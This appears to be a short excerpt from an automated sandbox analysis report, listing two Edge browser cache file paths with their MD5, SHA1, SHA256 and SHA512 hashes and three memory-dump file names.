C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\8f7abdeb3486c1b8780fede76afc20e044eff1b5\05de3f53-e2f4-4b7b-907f-8c22af65936c\index-dir\the-real-index

MD5 4b89a7eccf32b2a4d043eb97a500a7ea
SHA1 eab3274c0c83314b0bd7cb5f3d0bb53423ebbf1b
SHA256 dd058e6cec265681d46c4edbb347b3485527f95896f2e9824d153e1ef25ecf0b
SHA512 53620f5499fe90b225186e125f17f7f2f3f993abaf72c44693c50084d6fb15951799abca3661f26156f221c823258b329c21fa74f2c22a4612aa626b71744afc

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\8f7abdeb3486c1b8780fede76afc20e044eff1b5\05de3f53-e2f4-4b7b-907f-8c22af65936c\index-dir\the-real-index~RFe599d21.TMP

MD5 d21221e75cabb23d314f7a7e6ad0901c
SHA1 06dddd12eb499a34ecff373a0aca98819f721716
SHA256 f6a5994077705ea31232d3ef46fa8f0b222b7ea039a167c19c96d3565486f859
SHA512 066d72030d23ba90355a5496ef674f67c5120d72f987bee05ab3c45b1950d81383fc165b39381ee4f8dff34ac8c0355160eddbb6f0ceff43220e0ce3181c866f

memory/7752-2960-0x00000000008C0000-0x000000000096D000-memory.dmp

memory/8112-3001-0x00007FF6F0E20000-0x00007FF6F13C1000-memory.dmp

memory/9020-3002-0x0000000000E20000-0x0000000000E40000-memory.dmp